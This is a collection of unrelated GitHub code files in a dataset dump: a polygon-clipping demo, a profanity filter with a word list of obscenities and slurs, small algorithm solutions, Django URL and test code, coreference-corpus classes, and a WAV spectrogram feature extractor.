newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n else:\r\n tempRecIndex=calcResult[2]\r\n\r\n if [calcResult[0],calcResult[1]] not in newList:\r\n tempRecIndex = calcResult[2]\r\n print('add1',newList,lastPoint,point)\r\n newList.append([calcResult[0], calcResult[1]])\r\n lastPoint = [calcResult[0], calcResult[1]]\r\n lastPointInside=True\r\n i-=1\r\n break\r\n\r\n else:\r\n lastPointInside=False\r\n lastPoint=point\r\n break\r\n\r\n i+=1\r\n\r\n if len(newList)==1:\r\n calcResult = calcIntersection(pointList1[(firstI-1)%lengthPolygon], pointList1[(firstI)%lengthPolygon], firstTmpRecIndex + 1)\r\n print('some', calcResult,pointList1[(firstI-1)%lengthPolygon], pointList1[(firstI)%lengthPolygon])\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add3')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n\r\n newList.append([calcResult[0],calcResult[1]])\r\n\r\n if newList[-1]!=firstPoint:\r\n newList.append(firstPoint)\r\n print('add final',firstPoint)\r\n x2=[x[0] for x in newList]\r\n y2=[x[1] for x in newList]\r\n\r\n print(newList)\r\n\r\n plt.plot(x,y)\r\n plt.plot(x1,y1,color='red')\r\n plt.plot(x2,y2,color='black',linewidth='5')\r\n plt.show()\r\n\r\n","repo_name":"sgxx/Sutherland-Hodgman-demo","sub_path":"calc_003.py","file_name":"calc_003.py","file_ext":"py","file_size_in_byte":10265,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"34391328232","text":"# coding=UTF-8\nfrom __future__ import unicode_literals\nimport unicodedata\nimport re\n\n\nSPECIAL_CHARACTER_SUBS = {\n '!': 'i',\n '1': 'i',\n '!': 'i',\n '0': 'o',\n '3': 'e',\n '4': 'a',\n '5': 's',\n '7': 't',\n '%': 'u'\n}\n\n\nSHORT_STOP_WORDS = [\n 'a',\n 'to',\n 'i',\n 'im',\n 'me',\n 'my',\n 'so'\n]\n\n\nBAD_WORDS = [\n 'anal',\n 'anus',\n 'arrse',\n 'arse',\n 'ass',\n 'asses',\n 'assfucker',\n 'assfukka',\n 'asshole',\n 'assholes',\n 'asswhole',\n 'ballbag',\n 'balls',\n 'ballsack',\n 'bastard',\n 'beastial',\n 'beastiality',\n 'bellend',\n 'bestial',\n 'bestiality',\n 'biatch',\n 'bich',\n 'bitch',\n 'bitcher',\n 'bitchers',\n 'bitches',\n 'bitchin',\n 'bitching',\n 'bloody',\n 'blow job',\n 'blowjob',\n 'blowjobs',\n 'boiolas',\n 'bollock',\n 'bollok',\n 'boner',\n 'boob',\n 'boobs',\n 'booobs',\n 'boooobs',\n 'booooobs',\n 'booooooobs',\n 'breasts',\n 'buceta',\n 'bugger',\n 'bukkake',\n 'bum',\n 'bunny fucker',\n 'butt',\n 'butthole',\n 'buttmuch',\n 'buttmunch',\n 'buttplug',\n 'carpet muncher',\n 'cawk',\n 'chink',\n 'cipa',\n 'clit',\n 'clitoris',\n 'clits',\n 'cnut',\n 'cock',\n 'cck',\n 'cockface',\n 'cockhead',\n 'cockmunch',\n 'cockmuncher',\n 'cocks',\n 'cocksuck',\n 'cocksucked',\n 'cocksucker',\n 'cocksucking',\n 'cocksucks',\n 'cocksuka',\n 'cocksukka',\n 'cok',\n 'cokmuncher',\n 'coksucka',\n 'coon',\n 'cox',\n 'crap',\n 'cum',\n 'cummer',\n 'cumming',\n 'cums',\n 'cumshot',\n 'cunilingus',\n 'cunillingus',\n 'cunnilingus',\n 'cunt',\n 'cuntlick',\n 'cuntlicker',\n 'cuntlicking',\n 'cunts',\n 'cyalis',\n 'cyberfuc',\n 'cyberfuck',\n 'cyberfucked',\n 'cyberfucker',\n 'cyberfuckers',\n 'cyberfucking',\n 'damn',\n 'dick',\n 'dck',\n 'dickhead',\n 'dildo',\n 'dildos',\n 'dink',\n 'dinks',\n 'dirsa',\n 'dlck',\n 'dogfucker',\n 'doggin',\n 'dogging',\n 'donkeypunch',\n 'donkeyribber',\n 'doosh',\n 'duche',\n 'dyke',\n 'ejaculat',\n 'ejaculate',\n 'ejaculated',\n 'ejaculates',\n 'ejaculating',\n 'ejaculatings',\n 'ejaculation',\n 'ejakulate',\n 'fag',\n 'fagging',\n 'faggitt',\n 'faggot',\n 'faggs',\n 'fagot',\n 'fagots',\n 'fags',\n 'fanny',\n 'fannyflaps',\n 'fannyfucker',\n 'fanyy',\n 'fatass',\n 'fcuk',\n 'fcuker',\n 'fcuking',\n 'feck',\n 'fecker',\n 'felch',\n 'felching',\n 'fellate',\n 'fellatio',\n 'fingerfuck',\n 'fingerfucked',\n 'fingerfucker',\n 'fingerfuckers',\n 'fingerfucking',\n 'fingerfucks',\n 'fistfuck',\n 'fistfucked',\n 'fistfucker',\n 'fistfuckers',\n 'fistfucking',\n 'fistfuckings',\n 'fistfucks',\n 'flange',\n 'fleshflute',\n 'fook',\n 'fooker',\n 'fuck',\n 'fck',\n 'fucka',\n 'fucked',\n 'fucker',\n 'fuckers',\n 'fuckhead',\n 'fuckheads',\n 'fuckin',\n 'fucking',\n 'fuckings',\n 'fuckingshitmotherfucker',\n 'fuckme',\n 'fucks',\n 'fuckwhit',\n 'fuckwit',\n 'fudge packer',\n 'fudgepacker',\n 'fuk',\n 'fuker',\n 'fukker',\n 'fukkin',\n 'fuks',\n 'fukwhit',\n 'fukwit',\n 'fux',\n 'fuxor',\n 'gangbang',\n 'gangbanged',\n 'gangbangs',\n 'gaylord',\n 'gaysex',\n 'getlaid',\n 'get laid',\n 'girls',\n 'goatse',\n 'god',\n 'goddam',\n 'goddamn',\n 'goddamned',\n 'hardcoresex',\n 'hell',\n 'heshe',\n 'hoar',\n 'hoare',\n 'hoer',\n 'homo',\n 'hore',\n 'horniest',\n 'horny',\n 'hotsex',\n 'jackoff',\n 'jap',\n 'jerkoff',\n 'jism',\n 'jiz',\n 'jizm',\n 'jizz',\n 'kawk',\n 'kike',\n 'knob',\n 'knobead',\n 'knobed',\n 'knobend',\n 'knobhead',\n 'knobjocky',\n 'knobjokey',\n 'kock',\n 'kondum',\n 'kondums',\n 'kum',\n 'kummer',\n 'kumming',\n 'kums',\n 'kunilingus',\n 'l3ich',\n 'l3itch',\n 'labia',\n 'lmfao',\n 'lust',\n 'lusting',\n 'masochist',\n 'masterb8',\n 'masterbat',\n 'masterbat3',\n 'masterbate',\n 'masterbation',\n 'masterbations',\n 'masturbate',\n 'mofo',\n 'mothafuck',\n 'mothafucka',\n 'mothafuckas',\n 'mothafuckaz',\n 'mothafucked',\n 'mothafucker',\n 'mothafuckers',\n 'mothafuckin',\n 'mothafucking',\n 'mothafuckings',\n 'mothafucks',\n 'mother fucker',\n 'motherfuck',\n 'motherfucked',\n 'motherfucker',\n 'motherfuckers',\n 'motherfuckin',\n 'motherfucking',\n 'motherfuckings',\n 'motherfuckka',\n 'motherfucks',\n 'muff',\n 'mutha',\n 'muthafecker',\n 'muthafuckker',\n 'muther',\n 'mutherfucker',\n 'nazi',\n 'nigg3r',\n 'nigga',\n 'niggah',\n 'niggas',\n 'niggaz',\n 'nigger',\n 'niggers',\n 'nob',\n 'nob jokey',\n 'nobhead',\n 'nobjocky',\n 'nobjokey',\n 'numbnuts',\n 'nutsack',\n 'orgasim',\n 'orgasims',\n 'orgasm',\n 'orgasms',\n 'pawn',\n 'pecker',\n 'penis',\n 'penisfucker',\n 'phonesex',\n 'phonesxx',\n 'phuck',\n 'phuk',\n 'phuked',\n 'phuking',\n 'phukked',\n 'phukking',\n 'phuks',\n 'phuq',\n 'pigfucker',\n 'pimpis',\n 'piss',\n 'pissed',\n 'pisser',\n 'pissers',\n 'pisses',\n 'pissflaps',\n 'pissin',\n 'pissing',\n 'pissoff',\n 'poop',\n 'porn',\n 'porno',\n 'pornography',\n 'pornos',\n 'prick',\n 'pricks',\n 'pron',\n 'pube',\n 'pusse',\n 'pussi',\n 'pussies',\n 'pussy',\n 'pussys',\n 'rectum',\n 'retard',\n 'rimjaw',\n 'rimming',\n 'russia',\n 'sadist',\n 'schlong',\n 'screwing',\n 'scroat',\n 'scrote',\n 'scrotum',\n 'semen',\n 'sex',\n 'sxx',\n 'shag',\n 'shagger',\n 'shaggin',\n 'shagging',\n 'shemale',\n 'singles',\n 'shit',\n 'shitdick',\n 'shite',\n 'shited',\n 'shitey',\n 'shitfuck',\n 'shitfull',\n 'shithead',\n 'shiting',\n 'shitings',\n 'shits',\n 'shitted',\n 'shitter',\n 'shitters',\n 'shitting',\n 'shittings',\n 'shitty',\n 'skank',\n 'slut',\n 'sluts',\n 'smegma',\n 'smut',\n 'snatch',\n 'sob',\n 'sonofabitch',\n 'spac',\n 'spic',\n 'spunk',\n 'teets',\n 'teez',\n 'testical',\n 'testicle',\n 'tit',\n 'titfuck',\n 'tits',\n 'titt',\n 'tittiefucker',\n 'titties',\n 'tittyfuck',\n 'tittywank',\n 'titwank',\n 'tosser',\n 'turd',\n 'twat',\n 'twathead',\n 'twatty',\n 'twunt',\n 'twunter',\n 'vagina',\n 'viagra',\n 'vigra',\n 'vulva',\n 'wang',\n 'wank',\n 'wanker',\n 'wanky',\n 'whoar',\n 'whore',\n 'willies',\n 'willy',\n 'woose',\n 'xrated',\n 'xxx'\n]\n\n\nPATTERN_SPECIAL_CHARACTER_SUBS = re.compile('|'.join(SPECIAL_CHARACTER_SUBS.keys()))\nPATTERN_STARTS_WITH_BAD_WORD = re.compile(r'\\b(%s)' % '|'.join(BAD_WORDS))\nPATTERN_ENDS_WITH_BAD_WORD = re.compile(r'(%s)\\b' % '|'.join(BAD_WORDS))\nPATTERN_MATCHES_BAD_WORD = re.compile(r'\\b(%s)\\b' % '|'.join(BAD_WORDS))\n\n\ndef normalise_text(text, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Normalise given input text for matching bad words. This normalisation\n process is critical to find bad words even if those are specially encoded,\n for example like *fuck*, or f u c k.\n \"\"\"\n if text:\n # only work with lowercase text\n text = text.lower()\n\n # substitude _ for spaces or remove\n if remove_underscore:\n text = re.sub('_', '', text)\n else:\n text = re.sub('_', ' ', text)\n\n # remove ! at the end of words otherwise we end up\n # substituting it with i.\n def match_exclamation_marks(m):\n return m.group(1) + ' '\n text = re.sub(r'(\\w)!{1,}(\\W|$)', match_exclamation_marks, text)\n\n # remove individual ! characters that are not part of a word\n text = re.sub(r'\\W!{1,}(\\W|$)', '', text)\n\n # remove multi-digit numbers, so that we do not substitute those\n if remove_numbers:\n text = re.sub(r'\\d{2,}', '', text)\n\n # substitue certain special characters to corresponding letters\n if substitude_numbers:\n text = PATTERN_SPECIAL_CHARACTER_SUBS.sub(lambda x: SPECIAL_CHARACTER_SUBS[x.group()], text)\n\n # remove characters that are not letters or spaces\n text = re.sub(r'[^a-z\\s]', '', text)\n\n # remove spaces between single or two-letter words\n words = text.split()\n normalised_words = []\n for word, next_word in zip(words, words[1:] + [' ']):\n normalised_words.append(word)\n after_long_word = len(word) > 2 or word in SHORT_STOP_WORDS\n before_long_word = len(next_word) > 2 or next_word in SHORT_STOP_WORDS\n if after_long_word or before_long_word:\n normalised_words.append(' ')\n text = ''.join(normalised_words)\n\n # remove double-spaces\n text = re.sub(r'\\s{1,}', ' ', text)\n\n return text.strip()\n else:\n return ''\n\n\ndef _contains_bad_word(text, custom_words=None, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Return True, if the given text contains a bad word, where the given text is normalised\n by using the given options.\n \"\"\"\n text = normalise_text(text, substitude_numbers, remove_numbers, remove_underscore)\n\n # standard cases (fast)\n if re.search(PATTERN_MATCHES_BAD_WORD, text):\n return True\n\n # custom cases (slow)\n if custom_words:\n pattern_matches = re.compile(r'\\b(%s)\\b' % '|'.join(custom_words))\n if re.search(pattern_matches, text):\n return True\n\n # unlikly to contain a bad word\n return False\n\n\ndef _get_bad_words(text, custom_words=None, substitude_numbers=True, remove_numbers=True, remove_underscore=False):\n \"\"\"\n Return a list of bad words that are contained within the given text, where the given text\n is normalised by using the given options.\n \"\"\"\n if custom_words is None:\n custom_words = []\n\n text = normalise_text(text, substitude_numbers, remove_numbers, remove_underscore)\n words = text.split()\n bad_words = set()\n\n for word in words:\n if word in BAD_WORDS or word in custom_words:\n bad_words.add(word)\n\n return bad_words\n\n\ndef contains_bad_word(text, custom_words=None):\n \"\"\"\n Return True, if the given text contains a bad word.\n \"\"\"\n for substitude_numbers in [True, False]:\n for remove_numbers in [True, False]:\n for remove_underscore in [True, False]:\n if _contains_bad_word(text, custom_words, substitude_numbers, remove_numbers, remove_underscore):\n return True\n\n return False\n\n\ndef get_bad_words(text, custom_words=None):\n \"\"\"\n Return a list of bad words that are contained within the given text.\n \"\"\"\n bad_words = set()\n for substitude_numbers in [True, False]:\n for remove_numbers in [True, False]:\n for remove_underscore in [True, False]:\n bad_words.update(_get_bad_words(text, custom_words, substitude_numbers, remove_numbers, remove_underscore))\n return bad_words\n\n\ndef is_suspicious_username(username):\n \"\"\"\n Return True, if the given username is suspicious.\n \"\"\"\n return len(re.findall(r'[@_\\.]', username)) > 1\n\n\n_latin_letters = {}\ndef is_latin_ch(uchr):\n \"\"\"\n Return True, if the given unicode character is a latin charactcer based on\n the unicode name of the given character.\n Based on: http://stackoverflow.com/questions/3094498/how-can-i-check-if-a-python-unicode-string-contains-non-western-letters\n \"\"\"\n try:\n return _latin_letters[uchr]\n except KeyError:\n return _latin_letters.setdefault(uchr, 'LATIN' in unicodedata.name(uchr))\n\n\ndef is_latin(text):\n \"\"\"\n Return True, if the given text is latin text and does not contain foreign\n languages characters, such as arabic or chinese.\n \"\"\"\n if text:\n return all(is_latin_ch(uchr) for uchr in text if uchr.isalpha())\n else:\n return True","repo_name":"cubaneorg/cubane","sub_path":"cubane/lib/bad_words.py","file_name":"bad_words.py","file_ext":"py","file_size_in_byte":12110,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"69885587013","text":"def solution(n: int) -> int:\n \"\"\"[summary]\n 자연수 n이 주어질 때, 다음 큰 수를 구하시오\n 다음 큰 수:\n 1) n보다 큰 자연수\n 2) n과 다음 큰 수는 2진수 변환시 1의 갯수가 같다\n 3) 1)2)를 만족하는 가장 작은 자연수\n Args:\n n (int): 10^6 이하의 자연수\n\n Returns:\n int: n의 다음 큰 수\n \"\"\"\n\n target = sum(map(int, format(n, \"b\")))\n i = n + 1\n while True:\n if target == sum(map(int, format(i, \"b\"))):\n return i\n i += 1\n\n\nif __name__ == \"__main__\":\n i = 78\n print(solution(i))","repo_name":"vincent-kk/Basic-Algorithm","sub_path":"programmers/lv2/12911.py","file_name":"12911.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"ko","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"7015195637","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\turl(r'^$', views.index_view, name='index_view'),\n\t#url(r'^(?P<input>\\w+)/$', views.index_view),\n\t#url(r'^(?P<text>.+)/json$', views.text_json_view),\n\t#url(r'^(?P<text>.+)/$', views.text_result_view, name='url_link_for_intext'),\n\turl(r'^(?P<input>.+)/json$', views.json_view),\n\turl(r'^(?P<input>.+)/$', views.result_view, name='url_link'),\n]","repo_name":"xenoash/gender-neutralizer","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"3136675624","text":"\"\"\"\nNote: use the `Annotable.reset_counter()` method to reset the counter if you\nplan to pass several corpora and you do mind having large index number.\n\"\"\"\n\n\nimport pandas as pd\n\nimport corefdb\n\n\nclass Annotable:\n\n #_class_annotation_list = [] # not here, but in __init__\n _id_counter = 0\n\n @classmethod\n def reset_counter(cls):\n cls._id_counter = 0\n\n def __init__(self, **kwargs):\n self.id_ = self.__class__._id_counter\n self.__class__._id_counter += 1\n self.annotations = dict()\n if kwargs:\n self.annotations.update(kwargs)\n\n @property\n def id(self):\n \"\"\"Alias for `id_`.\"\"\"\n return self.id_\n\n def __setitem__(self, key, value):\n self.annotations[key] = value\n\n def __getitem__(self, key):\n return self.annotations[key]\n\n def __contains__(self, key):\n return key in self.annotations\n\n def __getattr__(self, attr):\n if attr in self.annotations:\n return self.annotations[attr]\n raise AttributeError(\"%s has no attribute '%s'\"\n % (self.__class__.__name__, attr))\n\n\n\nclass Text(Annotable):\n\n def __init__(self, id_=None, **kwargs):\n super().__init__(**kwargs)\n self.paragraphs = []\n if id_:\n self.id_ = id_\n self.chains = []\n\n def add_paragraph(self, paragraph):\n self.paragraphs.append(paragraph)\n\n def add_chain(self, chain):\n self.chains.append(chain)\n\n\nclass Paragraph(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.sentences = []\n\n def add_sentence(self, sentence):\n self.sentences.append(sentence)\n\n\nclass Sentence(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.tokens = []\n self.mentions = []\n\n def add_token(self, token):\n self.tokens.append(token)\n\n def add_mention(self, mention):\n self.mentions.append(mention)\n\n\n\nclass Token(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n\n\nclass Mention(Annotable):\n\n\n @staticmethod\n def sort(mentions):\n mentions.sort(key=lambda x: x['text_stop'], reverse=True)\n mentions.sort(key=lambda x: x['text_start'])\n\n @staticmethod\n def add_levels(mentions):\n Mention.sort(mentions)\n filo = []\n for mention in mentions:\n while filo and filo[-1].text_stop <= mention.text_start:\n filo.pop()\n if filo:\n assert mention.text_start < filo[-1].text_stop\n mention['level'] = len(filo)\n mention['parent'] = filo[-1].id_ if filo else None\n filo.append(mention)\n for mention in mentions:\n mention['is_outer'] = mention['level'] == 0\n\n\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n\n\nclass Chain(Annotable):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._mentions = []\n self._mentions_are_sorted = False\n\n @property\n def mentions(self):\n if not self._mentions_are_sorted:\n Mention.sort(self._mentions)\n self._mentions_are_sorted = True\n return self._mentions\n\n def add_mention(self, mention):\n self._mentions.append(mention)\n self._mentions_are_sorted = False\n\n\n\n\nclass Corpus:\n\n def __init__(self):\n self.token_df = None\n self.sentence_df = None\n self.paragraph_df = None\n self.text_df = None\n self.mention_df = None\n self.chain_df = None\n self._df_initialized = False\n\n\n @property\n def df_dic(self):\n return {\n name[:-3] + \"s\": getattr(self, name)\n for name in self.__dir__() if name.endswith(\"_df\")\n }\n\n\n def add_text(self, text):\n self._count(text)\n\n data = (\n ('token', (tok for par in text.paragraphs for sent in par.sentences\n for tok in sent.tokens)),\n ('sentence', (sent for par in text.paragraphs\n for sent in par.sentences)),\n ('paragraph', (par for par in text.paragraphs)),\n ('mention', (mention for chain in text.chains\n for mention in chain.mentions)),\n ('chain', (chain for chain in text.chains)),\n ('text', (text, ))\n )\n\n for attr, items in data:\n attr += \"_df\"\n items = list(items)\n df = pd.DataFrame(\n data=[item.annotations for item in items],\n index=[item.id_ for item in items],\n )\n df.index.name = \"id\"\n if getattr(self, attr) is not None:\n df = pd.concat([getattr(self, attr), df], axis=0)\n setattr(self, attr, df)\n\n\n def _count(self, text):\n\n # indices\n text_sent_index = 0\n text_cumulative_token_count = 0\n text_mention_index = 0\n for text_par_index, par in enumerate(text.paragraphs):\n par['text_id'] = text.id_\n par['text_par_index'] = text_par_index\n par_sent_index = 0\n par_mention_index = 0\n par_cumulative_token_count = 0\n par['first_token_index'] = text_cumulative_token_count\n for par_sent_index, sent in enumerate(par.sentences):\n sent['text_id'] = text.id_\n sent['par_id'] = par.id_\n sent['text_par_index'] = text_par_index\n sent['text_sent_index'] = text_sent_index\n sent['par_sent_index'] = par_sent_index\n sent['first_token_index'] = text_cumulative_token_count\n for sent_token_index, token in enumerate(sent.tokens):\n token['text_token_index'] \\\n = text_cumulative_token_count + sent_token_index\n token['text_id'] = text.id_\n token['par_id'] = par.id_\n token['sent_id'] = sent.id_\n mentions = sent.mentions\n Mention.sort(mentions)\n for sent_mention_index, mention in enumerate(mentions):\n mention['text_id'] = text.id_\n mention['par_id'] = par.id_\n mention['sent_id'] = sent.id_\n mention['text_par_index'] = text_par_index\n mention['text_sent_index'] = text_sent_index\n mention['par_sent_index'] = par_sent_index\n mention['sent_mention_index'] = sent_mention_index\n mention['par_mention_index'] = par_mention_index\n mention['text_mention_index'] = text_mention_index\n mention['par_start'] \\\n = par_cumulative_token_count + mention.start\n mention['par_stop'] \\\n = par_cumulative_token_count + mention.stop\n mention['text_start'] \\\n = text_cumulative_token_count + mention.start\n mention['text_stop'] \\\n = text_cumulative_token_count + mention.stop\n # increment\n par_mention_index += 1\n text_mention_index += 1\n # increment\n text_sent_index += 1\n par_cumulative_token_count += len(sent.tokens)\n text_cumulative_token_count += len(sent.tokens)\n sent['last_token_index'] = text_cumulative_token_count\n par['last_token_index'] = text_cumulative_token_count\n\n # chains and mentions, including \"rank\". Rank means the 1st,\n # 2st... mention of the chain in the text, paragraph, sentence.\n for chain in text.chains:\n chain['text_id'] = text.id_\n text_counter = 0\n par_counter = 0\n sent_counter = 0\n last_par = None\n last_sent = None\n mentions = chain.mentions # sorted\n for i, mention in enumerate(mentions):\n mention['chain_id'] = chain.id_\n mention['text_mention_rank'] = text_counter\n text_counter += 1\n if mention['par_id'] != last_par:\n last_par = mention['par_id']\n par_counter = 0\n mention['par_mention_rank'] = par_counter\n par_counter += 1\n if mention['sent_id'] != last_sent:\n last_sent = mention['sent_id']\n sent_counter = 0\n mention['sent_mention_rank'] = sent_counter\n sent_counter += 1\n mention['chain_mention_index'] = i\n mention['chain_mention_rindex'] = len(mentions) - i - 1\n\n\n mentions = [m for chain in text.chains for m in chain.mentions]\n Mention.add_levels(mentions)\n\n def export_to_csv_zip(self, fpath, compression=True):\n corefdb.save(self.df_dic, fpath, compression=compression)\n\n\n","repo_name":"boberle/coreference_databases","sub_path":"scripts/corefdb/annotable.py","file_name":"annotable.py","file_ext":"py","file_size_in_byte":9003,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"44"} +{"seq_id":"10437020899","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport wave\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport time\n\nfrom scipy.fftpack import fft\n\ndef read_wav_data(filename):\n '''\n 读取一个wav文件，返回声音信号的时域谱矩阵和播放时间\n '''\n wav = wave.open(filename,\"rb\") # 打开一个wav格式的声音文件流\n num_frame = wav.getnframes() # 获取帧数\n num_channel=wav.getnchannels() # 获取声道数\n framerate=wav.getframerate() # 获取帧速率\n num_sample_width=wav.getsampwidth() # 获取实例的比特宽度，即每一帧的字节数\n str_data = wav.readframes(num_frame) # 读取全部的帧\n wav.close() # 关闭流\n wave_data = np.fromstring(str_data, dtype = np.short) # 将声音文件数据转换为数组矩阵形式\n wave_data.shape = -1, num_channel # 按照声道数将数组整形，单声道时候是一列数组，双声道时候是两列的矩阵\n wave_data = wave_data.T # 将矩阵转置\n #wave_data = wave_data\n return wave_data, framerate\n\nx=np.linspace(0, 400 - 1, 400, dtype = np.int64)\nw = 0.54 - 0.46 * np.cos(2 * np.pi * (x) / (400 - 1) ) # 汉明窗\n\ndef GetFrequencyFeature3(wavsignal, fs):\n if(16000 != fs):\n raise ValueError('[Error] ASRT currently only supports wav audio files with a sampling rate of 16000 Hz, but this audio is ' + str(fs) + ' Hz. ')\n\n # wav波形 加时间窗以及时移10ms\n time_window = 25 # 单位ms\n window_length = fs / 1000 * time_window # 计算窗长度的公式，目前全部为400固定值\n\n wav_arr = np.array(wavsignal)\n #wav_length = len(wavsignal[0])\n wav_length = wav_arr.shape[1]\n\n range0_end = int(len(wavsignal[0])/fs*1000 - time_window) // 10 # 计算循环终止的位置，也就是最终生成的窗数\n data_input = np.zeros((range0_end, 200), dtype = np.float) # 用于存放最终的频率特征数据\n data_line = np.zeros((1, 400), dtype = np.float)\n\n for i in range(0, range0_end):\n p_start = i * 160\n p_end = p_start + 400\n\n data_line = wav_arr[0, p_start:p_end]\n\n data_line = data_line * w # 加窗\n\n data_line = np.abs(fft(data_line)) / wav_length\n\n\n data_input[i]=data_line[0:200] # 设置为400除以2的值（即200）是取一半数据，因为是对称的\n\n #print(data_input.shape)\n data_input = np.log(data_input + 1)\n return data_input\n\ndef wav_show(wave_data, fs): # 显示出来声音波形\n time = np.arange(0, len(wave_data)) * (1.0/fs) # 计算声音的播放时间，单位为秒\n # 画声音波形\n #plt.subplot(211)\n #plt.plot(time, wave_data)\n #plt.subplot(212)\n #plt.plot(time, wave_data[1], c = \"g\")\n #plt.show()\n\n\ndef get_wav_list(filename):\n '''\n 读取一个wav文件列表，返回一个存储该列表的字典类型值\n ps:在数据中专门有几个文件用于存放用于训练、验证和测试的wav文件列表\n '''\n txt_obj=open(filename,'r') # 打开文件并读入\n txt_text=txt_obj.read()\n txt_lines=txt_text.split('\\n') # 文本分割\n dic_filelist={} # 初始化字典\n list_wavmark=[] # 初始化wav列表\n for i in txt_lines:\n if(i!=''):\n txt_l=i.split('\\t')\n dic_filelist[txt_l[0]] = txt_l[1]\n list_wavmark.append(txt_l[0])\n txt_obj.close()\n return dic_filelist,list_wavmark\n\ndef get_wav_symbol(filename):\n '''\n 读取指定数据集中，所有wav文件对应的语音符号\n 返回一个存储符号集的字典类型值\n '''\n txt_obj=open(filename,'r', encoding=\"utf-8\") # 打开文件并读入\n txt_text=txt_obj.read()\n txt_lines=txt_text.split('\\n') # 文本分割\n dic_symbol_list={} # 初始化字典\n list_symbolmark=[] # 初始化symbol列表\n for i in txt_lines:\n if(i!=''):\n txt_l=i.split('\\t')\n dic_symbol_list[txt_l[0]]=txt_l[1]\n list_symbolmark.append(txt_l[0])\n txt_obj.close()\n return dic_symbol_list,list_symbolmark\n\ndef testFreq():\n i = 0\n j = 0\n for root, dirs, _ in os.walk(\"../data/avi/\"):\n for d in dirs:\n for _, _, files in os.walk(root + d):\n for f in files:\n j = j + 1\n if f.split(\".\")[1] == \"wav\":\n wave_data, fs = read_wav_data(\n \"E:\\\\py_project\\\\hk\\\\ASRT_english\\\\data\\\\avi\\\\\" + d + \"\\\\\" + f)\n if fs != 16000:\n i = i + 1\n print(f)\n print(i)\n print(j)\n\nif(__name__=='__main__'):\n # testFreq()\n wave_data, fs = read_wav_data(\"E:\\\\py_project\\\\hk\\\\ASRT_english\\\\data\\\\avi\\\\MU291\\\\MU291_15.wav\")\n # wave_data, fs = read_wav_data(\"../test.wav\")\n wav_show(wave_data[0],fs)\n t0=time.time()\n freimg = GetFrequencyFeature3(wave_data,fs)\n t1=time.time()\n print('time cost:',t1-t0)\n\n freimg = freimg.T\n plt.subplot(111)\n\n plt.imshow(freimg)\n plt.colorbar(cax=None,ax=None,shrink=0.5)\n\n plt.show()\n","repo_name":"psychofu/english","sub_path":"general_function/file_wav.py","file_name":"file_wav.py","file_ext":"py","file_size_in_byte":5067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12396607707","text":"from concurrent.futures.thread import ThreadPoolExecutor\r\n\r\n\r\ndef work(name):\r\n for i in range(10000):\r\n print(f'{name}:{i}')\r\n\r\n\r\nwith ThreadPoolExecutor(16) as t: # 设置线程池，大小一般为CPU核心数的2倍，这里设置的最大线程数为16\r\n for i in range(4):\r\n t.submit(work, f'线程{i}')\r\n","repo_name":"ming-log/FullSpider","sub_path":"1_线程、进程和协程/2_线程池.py","file_name":"2_线程池.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72248460933","text":"'''\n Contest 169\n B - Multiplication 2\n Rakesh Kumar --> 28/11/2020\n'''\n\ndef solve():\n n = int(input())\n arr = list(map(int, input().split()))\n if 0 in arr:\n print(0)\n else:\n r = 1\n for e in arr:\n r *= e\n if r > 10**18:\n r = -1\n break\n print(r)\n\nif __name__ == '__main__':\n solve()\n\n\n","repo_name":"jigjnasu/atcoder","sub_path":"abc169_b.py","file_name":"abc169_b.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5502008587","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function, division, absolute_import\nfrom bgfiles.http import create_content_disposition\nfrom django.test import SimpleTestCase\n\n\nclass CreateContentDispositionTest(SimpleTestCase):\n\n def test(self):\n header = create_content_disposition('Fußball.pdf')\n self.assertEqual(b'attachment; filename=\"Fuball.pdf\"; filename*=UTF-8\\'\\'Fu%C3%9Fball.pdf', header)\n header = create_content_disposition('Fußball.pdf', attachment=False)\n self.assertEqual(b'inline; filename=\"Fuball.pdf\"; filename*=UTF-8\\'\\'Fu%C3%9Fball.pdf', header)\n header = create_content_disposition(b'Fussball.pdf')\n self.assertEqual(b'attachment; filename=\"Fussball.pdf\"', header)\n header = create_content_disposition(b'Fussball.pdf', attachment=False)\n self.assertEqual(b'inline; filename=\"Fussball.pdf\"', header)\n expected = (b'attachment; filename=\"Leery Jenkins My Man .pdf\"; '\n b'filename*=UTF-8\\'\\'L%C3%A9%C3%ABr%C5%93%C3%B8y%20%20Jenkins%20%20My%20Man%20.pdf')\n self.assertEqual(create_content_disposition('Léërœøy \\\\Jenkins/\"My Man\".pdf'), expected)\n expected = (b'inline; filename=\"Leery Jenkins My Man .pdf\"; '\n 